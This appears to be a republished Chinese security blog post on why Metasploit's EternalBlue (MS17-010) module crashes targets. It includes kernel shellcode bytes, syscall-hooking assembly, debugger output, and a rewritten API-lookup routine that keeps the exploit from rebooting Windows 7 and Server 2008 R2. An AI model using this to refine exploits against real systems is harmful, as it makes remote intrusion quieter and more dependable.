墨云 I 技术课堂—payload优化让永恒之蓝漏洞利用(MS17010)更稳定
2019-07-24 00:33:33 Author: mp.weixin.qq.com(查看原文) 阅读量:112 收藏

 背     景 

永恒之蓝MS17_010漏洞的攻击代码已经被集成到了metasploit框架中:

其中,exploit/windows/smb/ms17_010_eternalblue是一个较常用的攻击模块。该模块可以对 Windows 7 and Server 2008 R2 (x64) All Service Packs 目标系统发起攻击,但是在实际的攻击测试中,我们发现这个攻击模块会有一定的概率导致目标系统重启,Windows会弹出一个提示框:

“ Windows has encountered a critical problem and will restart automatically in one minute 

经过一分钟之后,windows就会自动重启。从追求漏洞利用稳定性的角度,我们希望漏洞利用能“不谈不卡不闪”,当然最希望的是漏洞利用不要把系统搞崩溃或重启了。

本篇文章我们就给大家介绍一下如何去解决这个问题。

 重启原因分析 

下面我们分析一下造成系统重启的原因以及如何优化漏洞利用来避免这个问题。除了上面的弹窗信息外,系统还给了如下提示信息:

 The process wininit.exe has initiated the restart of the computer {HOSTNAME} on behalf of the user for the following reason: No title for this reason could be found

Reason Code: 0x50006

Shutdown Type: restart

Comment: The system process 'C:\Windows\system32\lsass.exe' has terminated unexpectedly with status code 255. The system will now shut down and restart. 

根据网上查询此提示信息给出的结果,并未发现有价值的信息。网上对于此漏洞利用造成目标系统重启的问题有过如下讨论:

https://github.com/rapid7/metasploit-framework/issues/8527

https://github.com/rapid7/metasploit-framework/pull/9601

其中一些讨论贴的回答摘要如下:

我们可以从中得到一些信息,漏洞利用和payload会影响目标系统的重启,并且payload越大,重启问题越容易发生。

那我们先来验证下是不是堆风水的不稳定导致了这个重启问题的发生呢?

我们知道17010这个漏洞是堆越界写的漏洞,为了让这个越界写能够写到特定的堆块,首先要利用堆风水对堆进行布局。大体过程如下:

接下来我们在越界写的地方下个条件断点观察下:

bp srv!SrvOs2FeaListToNt+0x55 "!pool rax;!pool rax+0x11000;gc"
*fffffa801b672000 : large page allocation, tag is LSdb, size is 0x11000 bytes Pooltag LSdb : SMB1 data buffer, Binary : srv.sysPool page fffffa801b683000 region is Nonpaged pool*fffffa801b683000 : large page allocation, tag is LSbf, size is 0x11000 bytes Pooltag LSbf : SMB1 buffer descriptor or srvnet allocation, Binary : srvnet.sysShutdown occurred at (Wed Jul 17 15:01:35.476 2019 (UTC + 8:00))...unloading all symbol tables.Waiting to reconnect...Connected to Windows 7 7601 x64 target at (Wed Jul 17 15:02:06.446 2019 (UTC + 8:00)), ptr64 TRUE

从上面我们可以看到即便srvnet对象成功位于srv对象后面了,系统还是会发生重启。由此我们断定目标系统重启问题并不是因为堆风水的不稳定造成的。

接下来我们试一下payload是否会影响系统重启,如果我们换一个很小的payload,攻击导致系统重启的概率会不会变低呢?

为了验证这个疑问,我们做了个实验,将exploit/windows/smb/ms17_010_eternalblue的payload换成没有任何逻辑的nop指令。这里需要说明一下的是ms17_010_eternalblue的payload是分两部分的,我们的msf中set payload是设置第二阶段的payload,除了这个payload之外,在ms17_010_eternalblue.rb中还硬编码了一个引导payload(第一阶段),第一阶段payload部分字节码如下:

def make_kernel_shellcode(proc_name)    # see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm    # Length: 1019 bytes
# "\xcc"+ "\x31\xC9\x41\xE2\x01\xC3\xB9\x82\x00\x00\xC0\x0F\x32\x48\xBB\xF8" + "\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x89\x53\x04\x89\x03\x48\x8D\x05\x0A" + "\x00\x00\x00\x48\x89\xC2\x48\xC1\xEA\x20\x0F\x30\xC3\x0F\x01\xF8" + "\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8B\x24\x25\xA8\x01" + "\x00\x00\x50\x53\x51\x52\x56\x57\x55\x41\x50\x41\x51\x41\x52\x41" +"\x53\x41\x54\x41\x55\x41\x56\x41\x57\x6A\x2B\x65\xFF\x34\x25\x10" + "\x51\x56\x48\x89\xC2\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88\x00\x00" + "\x00\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\x48" + "\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\xE8\x78\xFF\xFF\xFF\x45\x39" + "\xD9\x75\xEC\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48" + "\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x5E\x59" + "\x5A\x41\x58\x41\x59\x41\x5B\x41\x53\xFF\xE0\x56\x41\x57\x55\x48" + "\x89\xE5\x48\x83\xEC\x20\x41\xBB\xDA\x16\xAF\x92\xE8\x4D\xFF\xFF" + "\xFF\x31\xC9\x51\x51\x51\x51\x41\x59\x4C\x8D\x05\x1A\x00\x00\x00" + "\x5A\x48\x83\xEC\x20\x41\xBB\x46\x45\x1B\x22\xE8\x68\xFF\xFF\xFF" + "\x48\x89\xEC\x5D\x41\x5F\x5E\xC3"#\x01\x00\xC3"  end

通过实验,我们发现把payload改成nop之后,漏洞利用变得非常稳定。于是我们就确定了payload是导致系统重启的一个关键因素。

重启问题的解决办法

下面我们尝试对payload进行优化来避免系统重启。Payload的链接如下:

https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm

我们对payload进行分析,payload的主要逻辑如下:

Payload开始执行后,先在内核层面劫持(hook)系统调用,把syscall handler修改成x64_syscall_handler函数地址,这样当有系统调用发生时,x64_syscall_handler函数就会得以执行。

x64_syscall_overwrite:  mov ecx, 0xc0000082                               ; IA32_LSTAR syscall MSR  rdmsr  ;movabs rbx, 0xffffffffffd00ff8  db 0x48, 0xbb, 0xf8, 0x0f, 0xd0, 0xff, 0xff, 0xff, 0xff, 0xff  mov dword [rbx+0x4], edx                          ; save old syscall handler  mov dword [rbx], eax  lea rax, [rel x64_syscall_handler]                ; load new syscall handler  mov rdx, rax  shr rdx, 0x20
wrmsr  ret

x64_syscall_handle 函数代码主要逻辑如下:

  • 保存系统环境

 调用x64_kernel_start,最终会触发APC向目标进程注入shellcode

  • 恢复系统环境

 执行真正的syscall handler

经测试发现,若把x64_kernel_start逻辑改成比较简单的代码,那么漏洞攻击过程中就不会造成系统重启;所以我们的目标就是尽可能去优化x64_kernel_start的代码。

x64_kernel_start 的主要逻辑:

1、动态定位ntoskernl.exe模块地址

2、动态获取一些内核API函数的地址

hash("PsGetCurrentProcess")hash("PsLookupProcessByProcessId")hash("PsGetProcessImageFileName")hash("PsGetThreadTeb")hash("KeGetCurrentProcess")hash("KeGetCurrentThread")hash("KeInitializeApc")hash("KeInsertQueueApc")hash("KeStackAttachProcess")hash("KeUnstackDetachProcess")hash("ZwAllocateVirtualMemory")hash("ExAllocatePool")hash("ObDereferenceObject")

3、利用windows的apc机制将shellcode注入到目标进程中,异步执行第二阶段的payload,完成反弹shell的功能。

我们通过对x64_kernel_start的分析发现,这个函数写的还是挺复杂的,那这个函数可以被修改吗?要如何修改呢?

通过分析发现,x64_kernel_start函数中,为了实现window APC功能,需要动态定位ntoskernl.exe;动态定位和执行很多内核API;动态获取目标进程和线程。而这些功能中有一些是不需要在 x64_kernel_start函数上也能实现的,所以我们可以把这些功能移到其它地方完成,只把最终结果传给x64_kernel_start函数就行了。例如,动态定位ntoskernl.exe,动态定位很多内核API,我们就可以在hook syscall之前就把这些功能实现,然后把结果(函数地址,模块地址等)存到系统可以访问的地址空间里,例如0xffffffffffd04000。

下面我对原payload进行优化,原payload中,x64_block_api_direct函数被x64_kernel_start调用了多次,x64_block_api_direct每次被调用都要去PE文件的函数导出表中遍历查找要查询的函数,函数逻辑较复杂。

x64_block_api_direct:  mov rax, r15                                        ; make copy of module
push r9 ; Save parameters push r8 push rdx push rcx push rsi
mov rdx, rax mov eax, dword [rdx+60] ; Get PE header e_lfanew add rax, rdx mov eax, dword [rax+136] ; Get export tables RVA
%ifdef ERROR_CHECKS ; test rax, rax ; EAT not found ; jz _block_api_not_found%endif
add rax, rdx push rax ; save EAT
mov ecx, dword [rax+24] ; NumberOfFunctions mov r8d, dword [rax+32] ; FunctionNames add r8, rdx
_x64_block_api_direct_get_next_func: ; When we reach the start of the EAT (we search backwards), we hang or crash dec rcx ; decrement NumberOfFunctions mov esi, dword [r8+rcx*4] ; Get rva of next module name add rsi, rdx ; Add the modules base address
call x64_calc_hash
cmp r9d, r11d ; Compare the hashes jnz _x64_block_api_direct_get_next_func ; try the next function
_x64_block_api_direct_finish:
pop rax ; restore EAT mov r8d, dword [rax+36] add r8, rdx ; ordinate table virtual address mov cx, [r8+2*rcx] ; desired functions ordinal mov r8d, dword [rax+28] ; Get the function addresses table rva add r8, rdx ; Add the modules base address mov eax, dword [r8+4*rcx] ; Get the desired functions RVA add rax, rdx ; Add the modules base address to get the functions actual VA
pop rsi pop rcx pop rdx pop r8 pop r9 pop r11 ; pop ret addr
; sub rsp, 0x20 ; shadow space push r11 ; push ret addr
jmp rax

下面是我优化完之后的x64_block_api_direct函数的代码,可以看到函数代码就非常简单了。

x64_block_api_direct:  mov rax, r15                                        ; make copy of module  shl rdi,3  mov rax ,qword [0xffffffffffd04000+rdi]     jmp rax

修改完之后,我们在windows server 2008 R2(x64)和windows7 sp1 (x64)测试了多次,漏洞攻击并不会造成系统重启了。


文章来源: https://mp.weixin.qq.com/s/EoHB02qOscZsj3cNS40Rsw
如有侵权请联系:admin#unsafe.sh